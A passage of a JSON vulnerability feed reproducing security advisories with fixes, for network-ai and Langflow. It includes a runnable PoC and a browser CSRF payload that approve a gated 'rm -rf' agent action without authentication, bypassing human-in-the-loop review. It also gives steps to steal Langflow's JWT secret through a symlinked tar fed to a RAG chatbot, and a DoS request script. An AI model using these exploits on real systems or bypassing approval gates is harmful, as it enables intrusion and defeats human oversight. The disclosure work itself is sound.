client.\n\n```bash\nmkdir na-poc && cd na-poc && npm init -y >\/dev\/null && npm i network-ai@5.11.0\nnode poc.mjs\n```\n`poc.mjs`:\n```js\nimport { ApprovalInbox } from \"network-ai\";\nimport http from \"node:http\";\n\nconst PORT = 7798;\nconst req = (method, path, body) => new Promise((resolve, reject) => {        \/\/ plain client \u2014 NO Authorization header\n  const data = body ? JSON.stringify(body) : undefined;\n  const r = http.request({ host: \"127.0.0.1\", port: PORT, method, path,\n    headers: data ? { \"Content-Type\": \"application\/json\", \"Content-Length\": Buffer.byteLength(data) } : {} },\n    (res) => { let b = \"\"; res.on(\"data\", c => b += c); res.on(\"end\", () => { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); });\n  r.on(\"error\", reject); if (data) r.write(data); r.end();\n});\n\nconst inbox = new ApprovalInbox();\nconst gate = inbox.callback();                                 \/\/ what ApprovalGate calls before a dangerous action\ninbox.startServer(PORT, \"127.0.0.1\");                          \/\/ the documented \"web-accessible approval queue\"\nawait new Promise(r => setTimeout(r, 150));\n\nlet resolved = false;\nconst decisionP = gate({ action: \"shell_execute\", target: \"rm -rf \/important\/data\",\n  agentId: \"worker-1\", justification: \"cleanup\", riskLevel: \"high\" }).then(d => (resolved = true, d));\nconsole.log(\"Gated dangerous action pending human approval. resolved =\", resolved);\n\nconst list = await req(\"GET\", \"\/approvals\/?status=pending\");   \/\/ attacker enumerates pending approvals\nconst id = list.json[0].id;\nconst approve = await req(\"POST\", `\/approvals\/${id}\/approve`, { approvedBy: \"attacker\" });  \/\/ and approves one\nconsole.log(\"[attacker] GET \/approvals\/  (no auth) ->\", list.status, \"ids:\", list.json.map(e => e.id));\nconsole.log(\"[attacker] POST \/approvals\/\" + id + \"\/approve (no auth) ->\", approve.status, approve.json?.status);\nconst decision = await decisionP;\nconsole.log(\">>> gate decision delivered to agent:\", JSON.stringify(decision), \"| WIPED WITHOUT AUTH:\", decision.approved && resolved);\n```\nOutput:\n```\nGated dangerous action pending human approval. resolved = false\n[attacker] GET \/approvals\/  (no auth) -> 200 ids: [ '07d6f277efe35ac1' ]\n[attacker] POST \/approvals\/07d6f277efe35ac1\/approve (no auth) -> 200 approved\n>>> gate decision delivered to agent: {\"approved\":true,\"approvedBy\":\"attacker\"} | WIPED WITHOUT AUTH: true\n```\n\nThe gated action (`shell_execute: rm -rf \/important\/data`, `riskLevel: high`) is approved by a client that sent **no `Authorization` header**, and the `ApprovalGate` promise resolves `{ approved: true }` \u2014 the agent proceeds.\n\nBrowser CSRF variant (no tooling, just a visited page):\n```html\n\nfetch('http:\/\/127.0.0.1:PORT\/approvals\/?status=pending')      \/\/ ACAO:* -> readable\n  .then(r => r.json())\n  .then(list => list.forEach(e =>\n    fetch(`http:\/\/127.0.0.1:PORT\/approvals\/${e.id}\/approve`, {\n      method: 'POST', headers: { 'Content-Type': 'application\/json' },\n      body: JSON.stringify({ approvedBy: 'attacker' })          \/\/ preflight passes via ACAO:*\n    })));\n\n```\n\n## Impact\n\nThe Approval Gate is the package's human-in-the-loop safety control for high-risk agent operations (shell commands, file writes, budget spend \u2014 SECURITY.md). Unauthenticated, cross-origin access to its inbox lets an attacker:\n- **Approve** any pending gated action \u2192 the agent executes an operation that was explicitly held for human review (integrity\/availability impact; the gated action is whatever the agent proposed).\n- **Read** pending requests (`GET \/approvals`, `\/stats`) \u2192 disclosure of queued action details (command strings, file paths, justifications).\n- **Deny** pending actions \u2192 suppress legitimate operations.\n\nThe attacker controls the *approval decision*, not the action content, but the net effect is that the human-in-the-loop guarantee is void for any deployment that exposes the inbox \u2014 which is the inbox's documented purpose (\"web-accessible approval queue\").\n\n## Alignment with the security policy & documentation (in scope; not intended\/documented behavior)\n\nThis finding does not contradict any documented design choice \u2014 it exposes a gap the documentation overlooks, and it matches a vulnerability class the maintainer has already accepted:\n\n- **Documented as a *security measure*, never as intentionally unauthenticated.** `SECURITY.md` lists the Approval Inbox under \"Security Measures in Network-AI\" \u2014 *\"`ApprovalInbox` provides a web-accessible approval queue with REST API (`\/list`, `\/approve\/:id`, `\/deny\/:id`, `\/stats`)\"* \u2014 and `README.md` \/ `ENTERPRISE.md` describe it the same way. **No** document states it requires authentication, nor that the operator must place it behind their own auth. A documented security control (human-in-the-loop approval for *\"writes, shell commands, budget spend\"*) that anyone can bypass without credentials is a defect in that control, not its intended behavior.\n- **The project's own threat model treats this exact adversary as in scope.** `THREAT_MODEL.md` \u00a73.1 designs against an *\"Unauthenticated Network Caller\"* that can reach a bound TCP port, with mitigations: *require a non-empty secret, default to `127.0.0.1`, warn on non-loopback bind.* It applies all of these to the MCP server \u2014 but it **never lists `ApprovalInbox` as a network boundary at all** (an omission, not a carve-out), and the inbox has **none** of those mitigations.\n- **Direct precedent \u2014 the maintainer already fixed this class.** The identical issue on the MCP server was accepted and patched: **GHSA-j3vx-cx2r-pvg8** (\"Unauthenticated Cross-Origin MCP Tool Invocation,\" fixed in v5.4.5 by requiring a secret and **restricting CORS to localhost origins**) and **GHSA-r78r-rwrf-rjwp** (fail-closed on empty secret, v5.7.2). The `ApprovalInbox` is a second network-reachable server with the same flaw; it simply never received that hardening.\n- **No carve-out covers it.** The threat model's Explicit Non-Goals (localhost-IPC encryption, SLA, anti-analysis, npm-registry compromise) don't apply, and the documented ClawHub \"by-design\" Notes (ASI01 goal-hijack, ASI03 advisory tokens, ASI06 context poisoning, ASI07 *inter-agent messaging*) are unrelated \u2014 the approval inbox is a **control plane**, not inter-agent transport.\n- **The operator cannot fix it within the library.** Unlike the MCP server (which now *accepts* a secret), `ApprovalInbox` exposes **no** auth option and **hardcodes** `Access-Control-Allow-Origin: *`. So \"the operator should add auth \/ restrict CORS\" is not available \u2014 there is no hook to do so. And \"it's opt-in \/ operator-exposed\" did not exempt the MCP server, which is equally optional and explicitly started.\n\n**Honest scope caveat (state it plainly in the report).** `ApprovalInbox.startServer()` is opt-in (not auto-started by a CLI bin) and defaults to `127.0.0.1`, so the realistic vectors are (a) the wildcard-CORS drive-by from a page the operator visits, (b) a co-located\/SSRF local process, or (c) a non-loopback bind. That bounds severity to Medium\u2013High \u2014 but it is squarely the same class, on the same kind of surface, that the project's threat model and prior advisories already treat as a vulnerability.\n\n## Recommended fix\n\n1. **Require a bearer secret** on the inbox HTTP server, fail closed on empty secret, and verify it on `\/approve`, `\/deny`, and ideally the list\/stats\/SSE routes \u2014 mirroring the hardening already applied to `McpSseServer`\/`McpHttpServer`.\n2. **Remove the hardcoded `Access-Control-Allow-Origin: *`**; default to no CORS (same-origin) or an explicit allowlist, and never reflect `*` on the mutating routes.\n3. Optionally add a CSRF token \/ require a non-simple custom header on `POST` to block browser-driven approval.\n\n## References\n- [CWE-862](https:\/\/cwe.mitre.org\/data\/definitions\/862.html), [CWE-352](https:\/\/cwe.mitre.org\/data\/definitions\/352.html)\n- Affected: `lib\/approval-inbox.ts` (`httpHandler` l.256 CORS, `routeRequest` l.369-405 no-auth approve\/deny, `startServer` l.281); exported at `index.ts:1126`.\n- Same class as prior **accepted** advisories: GHSA-fj4g-2p96-q6m3 (MCP missing auth, fixed v5.1.3), GHSA-j3vx-cx2r-pvg8 (MCP unauthenticated cross-origin invocation \u2014 fixed v5.4.5 by requiring a secret + restricting CORS to localhost), GHSA-r78r-rwrf-rjwp (MCP fail-closed on empty secret, v5.7.2). The `ApprovalInbox` server never received this hardening.\n- Documentation this finding is measured against: `SECURITY.md` (Approval Inbox listed under \"Security Measures\"; Approval Gate = human-in-the-loop for \"writes, shell commands, budget spend\"), `THREAT_MODEL.md` \u00a73.1 (\"Unauthenticated Network Caller\" adversary + its mitigations), `README.md` \/ `ENTERPRISE.md` (\"web-accessible approval queue\"). None document the inbox as intentionally unauthenticated or require operator-supplied auth.\n- Disclosure: GitHub private security advisory (Jovancoding\/Network-AI \u2192 Security \u2192 \"Report a vulnerability\"), per SECURITY.md.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https:\/\/github.com\/Jovancoding\/Network-AI\/releases\/tag\/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` \u2014 published to npm with provenance.\n\n`ApprovalInbox` now accepts a `secret` option. When set, the mutating endpoints `POST \/:id\/approve` and `POST \/:id\/deny` require an `Authorization: Bearer ` header, validated in constant time with `crypto.timingSafeEqual`. `startServer()` already binds to `127.0.0.1` by default; operators exposing the inbox on a network must set a secret.\n\nAll 3,269 tests pass against the patched build. Thanks to @EchoSkorJjj for the responsible disclosure.",
            "summary": "## Summary\n\n`network-ai`'s `ApprovalInbox` (`lib\/approval-inbox.ts`) is a shipped, exported, documented feature \u2014 *\"a web-accessible approval queue with REST API \u2026 and SSE streaming\"* (SECURITY.md). It is the network surface of the **human-in-the-loop Approval Gate**, which `ApprovalGate` uses to require explicit human approval for *\"high-risk operations (writes, shell commands, budget spend)\"* (SECURITY.md). The HTTP server it exposes has **no authentication of any kind** and sets **`Access-Control-Allow-Origin: *`** on every route, including the state-changing `POST \/approvals\/:id\/approve` and `\/deny`.\n\nAs a result, any party who can send an HTTP request to the inbox port \u2014 a co-located process, a container\/SSRF on the same host, a remote client when the operator binds a non-loopback address, **or any website the operator visits in a browser (via the wildcard CORS)** \u2014 can **enumerate pending approvals and approve them**, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent.\n\nThis is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) \u2014 the auxiliary `ApprovalInbox` server never received that hardening.\n\n- **Affected:** `network-ai  {\n    ...\n    res.setHeader('Access-Control-Allow-Origin', '*');          \/\/ 256   {\n      const approvedBy = typeof body.approvedBy === 'string' ? body.approvedBy : 'anonymous';  \/\/ defaults to 'anonymous'\n      const entry = this.approve(approveMatch[1], approvedBy, reason);  \/\/ resolves the gate -> action proceeds\n      ...\n    });\n  }\n}\n```\n\n`approve()` resolves the pending promise that `ApprovalGate` is awaiting, so the gated action proceeds:\n\n```js\n\/\/ lib\/approval-inbox.ts:172-183 \/ 327-339\napprove(id, approvedBy, reason) {\n  ...\n  return this.resolve(id, 'approved', { approved: true, approvedBy, reason });  \/\/ promise -> {approved:true}\n}\n```\n\n`startServer()` binds the handler (default `127.0.0.1`, but any host the caller passes):\n\n```js\n\/\/ lib\/approval-inbox.ts:281-286\nstartServer(port, hostname = '127.0.0.1') {\n  const server = createServer(this.httpHandler());\n  server.listen(port, hostname);\n  return server;\n}\n```\n\nThere is **no option** to supply a secret\/token (unlike `McpSseServer`\/`McpHttpServer`, which require one and fail closed), and the wildcard `ACAO: *` is hardcoded \u2014 an operator cannot configure their way out of it.\n\n### Why the wildcard CORS matters\n\nThe two routes needed for exploitation are reachable cross-origin:\n- `GET \/approvals\/?status=pending` is a CORS *simple request*; `ACAO: *` lets a malicious page **read** the response and learn the pending approval ids.\n- `POST \/approvals\/:id\/approve` with `Content-Type: application\/json` triggers a preflight, which succeeds because the server answers `OPTIONS` with `ACAO: *`, `Access-Control-Allow-Methods: \u2026POST\u2026`, and `Access-Control-Allow-Headers: Content-Type`. The browser then sends the approve. `approvedBy` defaults to `'anonymous'`, so no special body is required.\n\nSo a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions.\n\n## Proof of Concept\n\nSelf-contained against the **published `network-ai@5.11.0`** package (no project files needed; re-confirmed 2026-06-17). It starts the documented `ApprovalInbox` server, has an agent submit a high-risk gated action, then acts as an **unauthenticated** client.\n\n```bash\nmkdir na-poc && cd na-poc && npm init -y >\/dev\/null && npm i network-ai@5.11.0\nnode poc.mjs\n```\n`poc.mjs`:\n```js\nimport { ApprovalInbox } from \"network-ai\";\nimport http from \"node:http\";\n\nconst PORT = 7798;\nconst req = (method, path, body) => new Promise((resolve, reject) => {        \/\/ plain client \u2014 NO Authorization header\n  const data = body ? JSON.stringify(body) : undefined;\n  const r = http.request({ host: \"127.0.0.1\", port: PORT, method, path,\n    headers: data ? { \"Content-Type\": \"application\/json\", \"Content-Length\": Buffer.byteLength(data) } : {} },\n    (res) => { let b = \"\"; res.on(\"data\", c => b += c); res.on(\"end\", () => { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); });\n  r.on(\"error\", reject); if (data) r.write(data); r.end();\n});\n\nconst inbox = new ApprovalInbox();\nconst gate = inbox.callback();                                 \/\/ what ApprovalGate calls before a dangerous action\ninbox.startServer(PORT, \"127.0.0.1\");                          \/\/ the documented \"web-accessible approval queue\"\nawait new Promise(r => setTimeout(r, 150));\n\nlet resolved = false;\nconst decisionP = gate({ action: \"shell_execute\", target: \"rm -rf \/important\/data\",\n  agentId: \"worker-1\", justification: \"cleanup\", riskLevel: \"high\" }).then(d => (resolved = true, d));\nconsole.log(\"Gated dangerous action pending human approval. resolved =\", resolved);\n\nconst list = await req(\"GET\", \"\/approvals\/?status=pending\");   \/\/ attacker enumerates pending approvals\nconst id = list.json[0].id;\nconst approve = await req(\"POST\", `\/approvals\/${id}\/approve`, { approvedBy: \"attacker\" });  \/\/ and approves one\nconsole.log(\"[attacker] GET \/approvals\/  (no auth) ->\", list.status, \"ids:\", list.json.map(e => e.id));\nconsole.log(\"[attacker] POST \/approvals\/\" + id + \"\/approve (no auth) ->\", approve.status, approve.json?.status);\nconst decision = await decisionP;\nconsole.log(\">>> gate decision delivered to agent:\", JSON.stringify(decision), \"| WIPED WITHOUT AUTH:\", decision.approved && resolved);\n```\nOutput:\n```\nGated dangerous action pending human approval. resolved = false\n[attacker] GET \/approvals\/  (no auth) -> 200 ids: [ '07d6f277efe35ac1' ]\n[attacker] POST \/approvals\/07d6f277efe35ac1\/approve (no auth) -> 200 approved\n>>> gate decision delivered to agent: {\"approved\":true,\"approvedBy\":\"attacker\"} | WIPED WITHOUT AUTH: true\n```\n\nThe gated action (`shell_execute: rm -rf \/important\/data`, `riskLevel: high`) is approved by a client that sent **no `Authorization` header**, and the `ApprovalGate` promise resolves `{ approved: true }` \u2014 the agent proceeds.\n\nBrowser CSRF variant (no tooling, just a visited page):\n```html\n\nfetch('http:\/\/127.0.0.1:PORT\/approvals\/?status=pending')      \/\/ ACAO:* -> readable\n  .then(r => r.json())\n  .then(list => list.forEach(e =>\n    fetch(`http:\/\/127.0.0.1:PORT\/approvals\/${e.id}\/approve`, {\n      method: 'POST', headers: { 'Content-Type': 'application\/json' },\n      body: JSON.stringify({ approvedBy: 'attacker' })          \/\/ preflight passes via ACAO:*\n    })));\n\n```\n\n## Impact\n\nThe Approval Gate is the package's human-in-the-loop safety control for high-risk agent operations (shell commands, file writes, budget spend \u2014 SECURITY.md). Unauthenticated, cross-origin access to its inbox lets an attacker:\n- **Approve** any pending gated action \u2192 the agent executes an operation that was explicitly held for human review (integrity\/availability impact; the gated action is whatever the agent proposed).\n- **Read** pending requests (`GET \/approvals`, `\/stats`) \u2192 disclosure of queued action details (command strings, file paths, justifications).\n- **Deny** pending actions \u2192 suppress legitimate operations.\n\nThe attacker controls the *approval decision*, not the action content, but the net effect is that the human-in-the-loop guarantee is void for any deployment that exposes the inbox \u2014 which is the inbox's documented purpose (\"web-accessible approval queue\").\n\n## Alignment with the security policy & documentation (in scope; not intended\/documented behavior)\n\nThis finding does not contradict any documented design choice \u2014 it exposes a gap the documentation overlooks, and it matches a vulnerability class the maintainer has already accepted:\n\n- **Documented as a *security measure*, never as intentionally unauthenticated.** `SECURITY.md` lists the Approval Inbox under \"Security Measures in Network-AI\" \u2014 *\"`ApprovalInbox` provides a web-accessible approval queue with REST API (`\/list`, `\/approve\/:id`, `\/deny\/:id`, `\/stats`)\"* \u2014 and `README.md` \/ `ENTERPRISE.md` describe it the same way. **No** document states it requires authentication, nor that the operator must place it behind their own auth. A documented security control (human-in-the-loop approval for *\"writes, shell commands, budget spend\"*) that anyone can bypass without credentials is a defect in that control, not its intended behavior.\n- **The project's own threat model treats this exact adversary as in scope.** `THREAT_MODEL.md` \u00a73.1 designs against an *\"Unauthenticated Network Caller\"* that can reach a bound TCP port, with mitigations: *require a non-empty secret, default to `127.0.0.1`, warn on non-loopback bind.* It applies all of these to the MCP server \u2014 but it **never lists `ApprovalInbox` as a network boundary at all** (an omission, not a carve-out), and the inbox has **none** of those mitigations.\n- **Direct precedent \u2014 the maintainer already fixed this class.** The identical issue on the MCP server was accepted and patched: **GHSA-j3vx-cx2r-pvg8** (\"Unauthenticated Cross-Origin MCP Tool Invocation,\" fixed in v5.4.5 by requiring a secret and **restricting CORS to localhost origins**) and **GHSA-r78r-rwrf-rjwp** (fail-closed on empty secret, v5.7.2). The `ApprovalInbox` is a second network-reachable server with the same flaw; it simply never received that hardening.\n- **No carve-out covers it.** The threat model's Explicit Non-Goals (localhost-IPC encryption, SLA, anti-analysis, npm-registry compromise) don't apply, and the documented ClawHub \"by-design\" Notes (ASI01 goal-hijack, ASI03 advisory tokens, ASI06 context poisoning, ASI07 *inter-agent messaging*) are unrelated \u2014 the approval inbox is a **control plane**, not inter-agent transport.\n- **The operator cannot fix it within the library.** Unlike the MCP server (which now *accepts* a secret), `ApprovalInbox` exposes **no** auth option and **hardcodes** `Access-Control-Allow-Origin: *`. So \"the operator should add auth \/ restrict CORS\" is not available \u2014 there is no hook to do so. And \"it's opt-in \/ operator-exposed\" did not exempt the MCP server, which is equally optional and explicitly started.\n\n**Honest scope caveat (state it plainly in the report).** `ApprovalInbox.startServer()` is opt-in (not auto-started by a CLI bin) and defaults to `127.0.0.1`, so the realistic vectors are (a) the wildcard-CORS drive-by from a page the operator visits, (b) a co-located\/SSRF local process, or (c) a non-loopback bind. That bounds severity to Medium\u2013High \u2014 but it is squarely the same class, on the same kind of surface, that the project's threat model and prior advisories already treat as a vulnerability.\n\n## Recommended fix\n\n1. **Require a bearer secret** on the inbox HTTP server, fail closed on empty secret, and verify it on `\/approve`, `\/deny`, and ideally the list\/stats\/SSE routes \u2014 mirroring the hardening already applied to `McpSseServer`\/`McpHttpServer`.\n2. **Remove the hardcoded `Access-Control-Allow-Origin: *`**; default to no CORS (same-origin) or an explicit allowlist, and never reflect `*` on the mutating routes.\n3. Optionally add a CSRF token \/ require a non-simple custom header on `POST` to block browser-driven approval.\n\n## References\n- [CWE-862](https:\/\/cwe.mitre.org\/data\/definitions\/862.html), [CWE-352](https:\/\/cwe.mitre.org\/data\/definitions\/352.html)\n- Affected: `lib\/approval-inbox.ts` (`httpHandler` l.256 CORS, `routeRequest` l.369-405 no-auth approve\/deny, `startServer` l.281); exported at `index.ts:1126`.\n- Same class as prior **accepted** advisories: GHSA-fj4g-2p96-q6m3 (MCP missing auth, fixed v5.1.3), GHSA-j3vx-cx2r-pvg8 (MCP unauthenticated cross-origin invocation \u2014 fixed v5.4.5 by requiring a secret + restricting CORS to localhost), GHSA-r78r-rwrf-rjwp (MCP fail-closed on empty secret, v5.7.2). The `ApprovalInbox` server never received this hardening.\n- Documentation this finding is measured against: `SECURITY.md` (Approval Inbox listed under \"Security Measures\"; Approval Gate = human-in-the-loop for \"writes, shell commands, budget spend\"), `THREAT_MODEL.md` \u00a73.1 (\"Unauthenticated Network Caller\" adversary + its mitigations), `README.md` \/ `ENTERPRISE.md` (\"web-accessible approval queue\"). None document the inbox as intentionally unauthenticated or require operator-supplied auth.\n- Disclosure: GitHub private security advisory (Jovancoding\/Network-AI \u2192 Security \u2192 \"Report a vulnerability\"), per SECURITY.md.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https:\/\/github.com\/Jovancoding\/Network-AI\/releases\/tag\/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` \u2014 published to npm with provenance.\n\n`ApprovalInbox` now accepts a `secret` option. When set, the mutating endpoints `POST \/:id\/approve` and `POST \/:id\/deny` require an `Authorization: Bearer ` header, validated in constant time with `crypto.timingSafeEqual`. `startServer()` already binds to `127.0.0.1` by default; operators exposing the inbox on a network must set a secret.\n\nAll 3,269 tests pass against the patched build. Thanks to @EchoSkorJjj for the responsible disclosure.",
            "date_published": "2026-06-20T01:00:02+00:00",
            "date_modified": "2026-06-20T01:00:02+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-b912-7216-be45-a57716f427dc",
            "title": "Langflow: BaseFileComponent-based nodes arbitrary file read with RCE exploit",
            "url": "https://github.com/advisories/GHSA-ccv6-r384-xp75",
            "content_html": "### Summary\nAll components based on `BaseFileComponent` are vulnerable to the following vulnerability:\n1. Docling (`DoclingInlineComponent`)\n2. Docling Serve (`DoclingRemoteComponent`)\n3. Read File (`FileComponent`)\n4. NVIDIA Retriever Extraction (`NvidiaIngestComponent`)\n5. Video File (`VideoFileComponent`)\n6. Unstructured API (`UnstructuredComponent`)\n\nFor clarity, from now on I'll only refer to Read File component.\n\nThe Read File node processes user-controlled files.\nExample scenario is a RAG chatbot - a system that allows users of an organization to ask questions about documents saved in the organizations.\n\nBy controlling a files that are digested into the RAG, an attacker can direct the node to read *any* file on the file-system by absolute path.\n\nUsing this vulnerability an attacker can acheive RCE:\n1. Upload a file that directs the node to read Langflow's `secret_key` file containing the JWT token secret.\n2. This would allow the attacker then to simply task the Chatbot for the JWT secret.\n3. Using this secret, the attacker then crafts a JWT token for any user-id, bypassing authentication.\n4. Code execution is then trivial - simply create a new flow with \"Python Interpreter\" node, fill it with arbitrary Python code and execute it.\n\nTested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe\n\n### Details\nThe vulnerability is in:\n`langflow\/src\/lfx\/src\/lfx\/base\/data\/base_file.py`\nSpecifically in `_unpack_bundle`. This function extracts tar files, which can contain a symlink.\nThis symlink can point to any file in the filesystem. Then, in `self.process_files()`, the file pointed by the symlink will be parsed and saved into the RAG.\nThis can be done with unlimited number of symlinks in the same tar which can also be useful in some scenarios.\n\nSuggestd fix - iterate over the files and make sure all are regular files or directories.\n\n\n### PoC\nReproduction:\n1. Create a flow with Read File (or any other affected components), and connect its output to some storage such as Chroma DB.\n2. Create a symlink pointing to any file. For the above exploit, point the symlink to langflow's JWT token file.\n3. Compress this symlink with tar.\n4. Upload it to the Read File component.\n5. Check the database, or ask a Chatbot connected to this vector database for the contents of the file.\n\n\nConcrete PoC:\n------------\n\n- Flow with RAG ingestion and a Chatbot around it: [Vector Store RAG.json](https:\/\/github.com\/user-attachments\/files\/25159960\/Vector.Store.RAG.json)\n- Exploit tar: [archive.tar.txt](https:\/\/github.com\/user-attachments\/files\/25159954\/archive.tar.txt) (remove .txt, GitHub blocked .tar)\n- Create a file `\/tmp\/trip.docx` with any contents in it\n- Ingest the file in the flow above, and ask the Chatbot a question about this file.\n\nA demo showing the attack:\nhttps:\/\/github.com\/user-attachments\/assets\/af00f700-f13f-4eac-848e-8afd11fb9297\nIn the demo the attacker steals `Langflow` secret key used to sign JWTs. The second stage of the attack, not shown in the demo, is using this key to sign a JWT token and executing Python code on the server using the Python code interpreter node.\n\n### Impact\nAny Langflow user using any of the above mentioned components to ingest user-controlled data is affected. Depending on exact scenario, the user can also be exposed to an RCE risk.\n\n\n### Patches\nFixed in **1.9.2** via PR [#12945](https:\/\/github.com\/langflow-ai\/langflow\/pull\/12945). `BaseFileComponent._unpack_bundle` now rejects symlink and hardlink members (and any non-regular entries) during TAR extraction, with additional defensive symlink filtering during directory recursion and after extraction. Upgrade to **1.9.2 or later**.\n\n\nOri Lahav\nSecurity Researcher @ Rubrik Inc.",
            "summary": "### Summary\nAll components based on `BaseFileComponent` are vulnerable to the following vulnerability:\n1. Docling (`DoclingInlineComponent`)\n2. Docling Serve (`DoclingRemoteComponent`)\n3. Read File (`FileComponent`)\n4. NVIDIA Retriever Extraction (`NvidiaIngestComponent`)\n5. Video File (`VideoFileComponent`)\n6. Unstructured API (`UnstructuredComponent`)\n\nFor clarity, from now on I'll only refer to Read File component.\n\nThe Read File node processes user-controlled files.\nExample scenario is a RAG chatbot - a system that allows users of an organization to ask questions about documents saved in the organizations.\n\nBy controlling a files that are digested into the RAG, an attacker can direct the node to read *any* file on the file-system by absolute path.\n\nUsing this vulnerability an attacker can acheive RCE:\n1. Upload a file that directs the node to read Langflow's `secret_key` file containing the JWT token secret.\n2. This would allow the attacker then to simply task the Chatbot for the JWT secret.\n3. Using this secret, the attacker then crafts a JWT token for any user-id, bypassing authentication.\n4. Code execution is then trivial - simply create a new flow with \"Python Interpreter\" node, fill it with arbitrary Python code and execute it.\n\nTested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe\n\n### Details\nThe vulnerability is in:\n`langflow\/src\/lfx\/src\/lfx\/base\/data\/base_file.py`\nSpecifically in `_unpack_bundle`. This function extracts tar files, which can contain a symlink.\nThis symlink can point to any file in the filesystem. Then, in `self.process_files()`, the file pointed by the symlink will be parsed and saved into the RAG.\nThis can be done with unlimited number of symlinks in the same tar which can also be useful in some scenarios.\n\nSuggestd fix - iterate over the files and make sure all are regular files or directories.\n\n\n### PoC\nReproduction:\n1. Create a flow with Read File (or any other affected components), and connect its output to some storage such as Chroma DB.\n2. Create a symlink pointing to any file. For the above exploit, point the symlink to langflow's JWT token file.\n3. Compress this symlink with tar.\n4. Upload it to the Read File component.\n5. Check the database, or ask a Chatbot connected to this vector database for the contents of the file.\n\n\nConcrete PoC:\n------------\n\n- Flow with RAG ingestion and a Chatbot around it: [Vector Store RAG.json](https:\/\/github.com\/user-attachments\/files\/25159960\/Vector.Store.RAG.json)\n- Exploit tar: [archive.tar.txt](https:\/\/github.com\/user-attachments\/files\/25159954\/archive.tar.txt) (remove .txt, GitHub blocked .tar)\n- Create a file `\/tmp\/trip.docx` with any contents in it\n- Ingest the file in the flow above, and ask the Chatbot a question about this file.\n\nA demo showing the attack:\nhttps:\/\/github.com\/user-attachments\/assets\/af00f700-f13f-4eac-848e-8afd11fb9297\nIn the demo the attacker steals `Langflow` secret key used to sign JWTs. The second stage of the attack, not shown in the demo, is using this key to sign a JWT token and executing Python code on the server using the Python code interpreter node.\n\n### Impact\nAny Langflow user using any of the above mentioned components to ingest user-controlled data is affected. Depending on exact scenario, the user can also be exposed to an RCE risk.\n\n\n### Patches\nFixed in **1.9.2** via PR [#12945](https:\/\/github.com\/langflow-ai\/langflow\/pull\/12945). `BaseFileComponent._unpack_bundle` now rejects symlink and hardlink members (and any non-regular entries) during TAR extraction, with additional defensive symlink filtering during directory recursion and after extraction. Upgrade to **1.9.2 or later**.\n\n\nOri Lahav\nSecurity Researcher @ Rubrik Inc.",
            "date_published": "2026-06-20T01:00:02+00:00",
            "date_modified": "2026-06-20T01:00:02+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-b915-72ab-86e3-0dd47d162c58",
            "title": "Langflow: Unauthenticated DoS through multipart form boundary file upload",
            "url": "https://github.com/advisories/GHSA-qwqc-p3q8-wcg9",
            "content_html": "### Summary\nAn attacker can send a `\/api\/v1\/files\/upload\/` request without any authentication token\/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time. \n\n### Details\nhttps:\/\/github.com\/langflow-ai\/langflow\/blob\/v1.0.18\/src\/backend\/base\/langflow\/api\/v1\/files.py#L40\n\nThe file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users. \n\nAdditionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID. \n\n### PoC\n\nAn attacker makes this request to upload a file without valid authentication information or a valid flow ID: \n\n```\nPOST \/api\/v1\/files\/upload\/test HTTP\/1.1\nHost: 127.0.0.1:7860\nContent-Length: 3000192\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/128.0.6613.120 Safari\/537.36\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ\nAccept: application\/json, text\/plain, *\/*\nOrigin: http:\/\/127.0.0.1:7860\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n\n------WebKitFormBoundaryorGBAKSkv5wR6WqJ\nContent-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\nContent-Type: text\/plain\n\nDoS in progress!\n\n------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------\n```\n\nHere is the request in python: \n\n```python\nimport requests\n\nurl = \"http:\/\/127.0.0.1:7860\/api\/v1\/files\/upload\/test\"\n\nheaders = {\n    \"Content-Type\": \"multipart\/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\"\n}\n\ndata = (\n    \"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\\r\\n\"\n    \"Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"dos.txt\\\"\\r\\n\"\n    \"Content-Type: text\/plain\\r\\n\\r\\n\"\n    \"DoS in progress\\r\\n\"\n    \"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--\" + '-' * 1000000 + \"\\r\\n\"\n)\n\nresponse = requests.post(url, headers=headers, data=data)\n```\n\nThe app will then be stuck in the \"server is busy\" state for all users:\n\n\n\n### Impact\nSending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want.\n\n### Patches\nFixed in **1.0.19** via PR [#3923](https:\/\/github.com\/langflow-ai\/langflow\/pull\/3923). A `check_boundary` HTTP middleware was added that validates the multipart boundary (`^[\\w\\-]{1,70}$`) and rejects malformed requests \u2014 including the oversized-hyphen payload \u2014 with `HTTP 422` 